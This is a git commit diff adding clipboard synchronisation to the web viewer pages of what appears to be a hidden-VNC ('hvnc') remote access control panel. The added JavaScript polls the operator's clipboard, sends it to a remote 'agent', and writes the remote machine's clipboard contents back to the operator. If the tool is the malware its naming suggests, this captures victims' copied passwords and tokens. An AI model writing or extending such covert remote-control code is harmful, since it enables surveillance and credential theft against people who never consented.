sync clipboard

This commit is contained in:
KingKDot
2026-03-28 21:58:16 -05:00
parent 92342578a4
commit 67616e78f3
14 changed files with 410 additions and 1 deletions
+63
View File
@@ -66,6 +66,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const agentFps = document.getElementById("agentFps");
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
function syncInputEnableState() {
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
@@ -92,6 +93,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
let h264ErrorCount = 0;
let h264RetryTimer = null;
let clipboardSyncTimer = null;
let lastClipboardText = "";
let clipboardSyncActive = false;
const storedCodecPref = localStorage.getItem(codecPrefKey);
if (storedCodecPref === "0") {
prefersH264 = false;
@@ -179,6 +184,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
updateControls();
checkClipboardSync();
}
function updateControls() {
@@ -196,6 +202,49 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
}
function startClipboardSync() {
if (clipboardSyncActive) return;
clipboardSyncActive = true;
lastClipboardText = "";
sendCmd("clipboard_sync_start", {});
clipboardSyncTimer = setInterval(async () => {
if (!clipboardSyncCtrl || !clipboardSyncCtrl.checked || streamState !== "streaming") {
stopClipboardSync();
return;
}
try {
const text = await navigator.clipboard.readText();
if (text && text !== lastClipboardText) {
lastClipboardText = text;
sendCmd("clipboard_sync", { text });
}
} catch {}
}, 1500);
}
function stopClipboardSync() {
if (!clipboardSyncActive) return;
clipboardSyncActive = false;
if (clipboardSyncTimer) {
clearInterval(clipboardSyncTimer);
clipboardSyncTimer = null;
}
sendCmd("clipboard_sync_stop", {});
}
function checkClipboardSync() {
const shouldSync = clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming";
if (shouldSync && !clipboardSyncActive) {
startClipboardSync();
} else if (!shouldSync && clipboardSyncActive) {
stopClipboardSync();
}
}
if (clipboardSyncCtrl) {
clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
}
function clearOfflineTimer() {
if (offlineTimer) {
clearTimeout(offlineTimer);
@@ -655,6 +704,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
console.error("hvnc: server error:", msg.error || msg.message);
return;
}
if (msg && msg.type === "clipboard_content") {
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
lastClipboardText = msg.text;
navigator.clipboard.writeText(msg.text).catch(() => {});
}
return;
}
return;
}
@@ -675,6 +731,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
console.error("hvnc: server error:", msg.error || msg.message);
return;
}
if (msg && msg.type === "clipboard_content") {
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
lastClipboardText = msg.text;
navigator.clipboard.writeText(msg.text).catch(() => {});
}
return;
}
}
function onWsOpen() {
@@ -39,6 +39,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const viewerFps = document.getElementById("viewerFps");
const inputLatency = document.getElementById("inputLatency");
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
ws.binaryType = "arraybuffer";
let activeClientId = clientId;
@@ -79,6 +80,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const inputBackpressureBytes = 256 * 1024;
let lastMoveSentAt = 0;
let clipboardSyncTimer = null;
let lastClipboardText = "";
let clipboardSyncActive = false;
function resetH264RuntimeState() {
h264TimestampUs = 0;
h264LowFpsStreak = 0;
@@ -181,6 +186,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
updateControls();
checkClipboardSync();
}
function updateControls() {
@@ -199,6 +205,49 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
}
function startClipboardSync() {
if (clipboardSyncActive) return;
clipboardSyncActive = true;
lastClipboardText = "";
sendCmd("clipboard_sync_start", {});
clipboardSyncTimer = setInterval(async () => {
if (!clipboardSyncCtrl || !clipboardSyncCtrl.checked || streamState !== "streaming") {
stopClipboardSync();
return;
}
try {
const text = await navigator.clipboard.readText();
if (text && text !== lastClipboardText) {
lastClipboardText = text;
sendCmd("clipboard_sync", { text });
}
} catch {}
}, 1500);
}
function stopClipboardSync() {
if (!clipboardSyncActive) return;
clipboardSyncActive = false;
if (clipboardSyncTimer) {
clearInterval(clipboardSyncTimer);
clipboardSyncTimer = null;
}
sendCmd("clipboard_sync_stop", {});
}
function checkClipboardSync() {
const shouldSync = clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming";
if (shouldSync && !clipboardSyncActive) {
startClipboardSync();
} else if (!shouldSync && clipboardSyncActive) {
stopClipboardSync();
}
}
if (clipboardSyncCtrl) {
clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
}
function updateLatency(ms) {
if (ms < 0 || !Number.isFinite(ms)) return;
latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2;
@@ -853,6 +902,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
updateLatency(Number(msg.ms) || 0);
return;
}
if (msg && msg.type === "clipboard_content") {
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
lastClipboardText = msg.text;
navigator.clipboard.writeText(msg.text).catch(() => {});
}
return;
}
return;
}
@@ -865,6 +921,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
updateLatency(Number(msg.ms) || 0);
return;
}
if (msg && msg.type === "clipboard_content") {
if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
lastClipboardText = msg.text;
navigator.clipboard.writeText(msg.text).catch(() => {});
}
return;
}
});
ws.addEventListener("open", function () {
+3
View File
@@ -130,6 +130,9 @@
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
><input type="checkbox" id="cursorCtrl" /> Cursor</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
>
</div>
</div>
@@ -136,6 +136,9 @@
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)"
><input type="checkbox" id="duplicationCtrl" /> GPU Capture</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Smooths mouse input for steadier movement">
<span class="text-slate-400">Smoothing</span>
<input id="smoothingSlider" type="range" min="0" max="80" step="5" value="20" class="accent-emerald-400" />